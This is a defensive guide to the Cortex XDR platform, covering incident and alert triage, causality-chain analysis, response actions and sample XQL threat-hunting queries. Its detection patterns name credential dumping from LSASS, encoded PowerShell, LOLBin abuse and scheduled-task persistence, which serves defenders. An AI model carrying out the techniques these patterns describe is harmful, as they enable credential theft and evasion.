// What is Cortex XDR?
Cortex XDR (Extended Detection and Response) is Palo Alto Networks' unified threat detection and response platform. It ingests data from endpoints (via the Cortex XDR agent), network infrastructure, cloud environments, and third-party sources, then correlates it into actionable incidents using machine learning and behavioural analytics.
Unlike a traditional EDR that focuses solely on the endpoint, XDR stitches together signals across the entire environment � a process Palo Alto calls stitching. A single Cortex XDR incident might include an endpoint alert, a firewall block, and an identity anomaly, all tied to one attack chain.
Cortex XDR can be licensed as Prevent (EPP only), Pro per Endpoint (EDR), or Pro per TB (full XDR with data lake ingestion). Most enterprise SOC deployments use Pro per TB for cross-source correlation.
// XDR vs EDR vs SIEM
EDR
Endpoint Detection and Response. Monitors processes, file activity, registry changes, and network connections on individual endpoints. Limited to host telemetry.
XDR
Extends EDR across network, cloud, and identity data sources. Correlates signals from multiple planes into unified incidents. Reduces alert fatigue through grouping.
SIEM
Security Information and Event Management. Ingests logs broadly, requires analyst-written detection rules. Complementary to XDR � XDR provides enriched detections, SIEM provides broad log retention and compliance.
// Console Overview
Cortex XDR's web console is divided into several key modules.
| Module | Purpose |
|---|---|
| Incidents | Correlated groups of related alerts. The primary analyst workspace for investigation. |
| Alerts | Individual detections from any data source before correlation into incidents. |
| Investigation | Causality chains � visual process trees and event timelines. |
| Threat Hunting | XQL query interface for proactive hunting across the data lake. |
| Assets | Endpoint inventory, agent status, host isolation controls. |
| Policies | Prevention and detection policy management per endpoint group. |
| Response | Remote action management � live terminal, file retrieval, quarantine. |
// Incident Management
Incidents are the core unit of work in Cortex XDR. The platform automatically groups related alerts from across data sources into a single incident, reducing the volume an analyst has to process.
Incident severity levels
| Severity | Description | Example |
|---|---|---|
| Critical | Active compromise or imminent severe impact | Ransomware execution, DCSync |
| High | High confidence malicious activity | Malware execution, credential dumping |
| Medium | Suspicious behaviour requiring investigation | Encoded PowerShell, unusual parent-child process |
| Low | Informational or low-risk findings | Potentially unwanted application detected |
Incident workflow
A typical incident investigation workflow in Cortex XDR:
Assign & Review
Assign the incident to yourself. Review the summary, severity, affected assets, and contributing alerts. Check the MITRE ATT&CK techniques tagged.
Causality Chain
Open the Causality View to see the full process tree � parent processes, child spawns, network connections, file writes. Identify the root cause.
Scope Assessment
Check if the incident spans multiple endpoints. Look at lateral movement indicators and shared IOCs across assets.
Response
Take action � isolate host, quarantine files, terminate processes, retrieve evidence. Escalate if needed.
// Alert Triage
Individual alerts feed into incidents. When triaging:
| Alert field | What to check |
|---|---|
| Alert name | Describes the detection � e.g. "Credential Dumping via LSASS" or "Suspicious PowerShell Execution" |
| Source | Which data source triggered it � XDR agent, NGFW, Prisma Cloud, third-party |
| MITRE Technique | Tactic and technique tagged � use this to understand attacker intent |
| Actor | The user account or process that triggered the alert |
| Causality Group Owner (CGO) | The root process of the alert's process tree � often the initial access vector |
| Host | The affected endpoint � check agent version, OS, criticality |
| Action taken | Whether XDR prevented, blocked, or only detected the activity |
Pay attention to the Action field. An alert with Action: Detected means XDR saw it but did not block it � the activity may still be running. An alert with Action: Prevented means the agent blocked execution before it could cause harm.
// Causality Chain Analysis
The Causality View is Cortex XDR's most powerful investigation feature. It displays a visual process tree showing the full chain of events that led to an alert � from the initial execution through every child process, network connection, file operation, and registry modification.
Reading the process tree
| Node type | Colour / Icon | Description |
|---|---|---|
| Process | Blue circle | A running process � click to see command line, hash, user, timestamps |
| Alerted process | Red/orange circle | The process that triggered the alert |
| Network connection | Globe icon | Outbound/inbound connection � shows IP, port, protocol, bytes |
| File operation | Document icon | File created, modified, or deleted � shows full path and hash |
| Registry operation | Key icon | Registry read, write, or delete � common persistence mechanism |
Suspicious patterns to look for
Office ? Script Engine
Word.exe or Excel.exe spawning cmd.exe, PowerShell, or wscript � classic macro-based initial access indicator.
Process ? Outbound Connection
A script or executable making an immediate outbound connection � often dropper downloading next-stage payload or C2 check-in.
LSASS Access
Any non-system process opening LSASS.exe � credential dumping. Look for process name, PID, and whether the access was read or write.
Living-off-the-Land
System binaries (certutil, regsvr32, mshta, bitsadmin) used with unusual arguments � LOLBins used to evade detection.
// Response Actions
Cortex XDR provides direct response capabilities from the console � no need to log into the endpoint separately.
| Action | What it does | When to use |
|---|---|---|
| Isolate Endpoint | Cuts the endpoint off from the network (except XDR management traffic) | Confirmed compromise � prevent lateral movement or data exfiltration |
| Quarantine File | Moves a file to a quarantine folder and blocks execution | Malicious file confirmed � remove without deleting (preserves evidence) |
| Kill Process | Terminates a running process by PID | Active malicious process that hasn't been automatically blocked |
| Retrieve File | Pulls a file from the endpoint to the XDR console | Evidence collection � samples, logs, memory files |
| Run Script | Executes a Python or shell script on the endpoint | Custom triage collection � gather artefacts, check persistence |
| Live Terminal | Interactive shell session on the endpoint | Deep investigation when GUI doesn't show what you need |
| Block Indicator | Adds a hash/IP/domain to the block list across all agents | Confirmed IOC � prevent re-infection |
Isolate carefully. Isolating a production server or critical infrastructure host can cause outages. Always confirm the host's role before isolating, and coordinate with the relevant team. Some environments have isolation exclusions for business-critical systems.
// XQL Hunting Queries
XQL (Cortex Query Language) is used in the Threat Hunting module to query the Cortex data lake directly. It's similar to SQL � you select fields, filter with where, and aggregate with group by.
Basic structure
dataset = xdr_data
| filter event_type = "ENUM.PROCESS" and action_process_image_name = "powershell.exe"
| fields actor_process_image_name, action_process_image_command_line, agent_hostname, _time
| sort desc _time
| limit 100Hunting queries
dataset = xdr_data
| filter event_type = "ENUM.PROCESS"
and action_process_image_name ~= "powershell"
and (action_process_image_command_line ~= "-enc" or action_process_image_command_line ~= "-EncodedCommand")
| fields agent_hostname, actor_effective_username, action_process_image_command_line, _time
| sort desc _time// Detects processes named lsass.exe spawned by unexpected parents
// lsass.exe should only ever be started by wininit.exe
dataset = xdr_data
| filter event_type = "ENUM.PROCESS" and action_process_image_name = "lsass.exe"
| filter actor_process_image_name not in ("wininit.exe", "smss.exe")
| fields agent_hostname, actor_process_image_name, actor_process_image_path, _time
| sort desc _timedataset = xdr_data
| filter event_type = "ENUM.NETWORK" and action_local_port > 1024
| comp count() as connection_count by action_remote_ip
| filter connection_count < 3
| sort asc connection_countdataset = xdr_data
| filter event_type = "ENUM.PROCESS"
and (action_process_image_name = "schtasks.exe" and action_process_image_command_line ~= "/create")
| fields agent_hostname, actor_effective_username, action_process_image_command_line, _time
| sort desc _time// Tips & Best Practices
Use starred indicators. When you identify a confirmed IOC during an investigation, add it to your IOC list immediately. Cortex XDR will retroactively search the data lake and alert on historical matches � useful for scoping the incident.
Check the Causality Group Owner (CGO). The CGO is the root of the process tree � the process responsible for all the activity in the chain. This is almost always where the initial access happened. Start your investigation here.
XSOAR integration. Cortex XDR integrates natively with XSOAR. High-severity incidents can automatically trigger XSOAR playbooks for enrichment, escalation, or automated response � reducing analyst workload on repetitive tasks.
Prevention policies affect detections. If an endpoint is in Learn mode (no prevention), malicious activity is only alerted on � not blocked. Understand which endpoints have which policy mode applied before assuming a "Detected" alert means the threat is contained.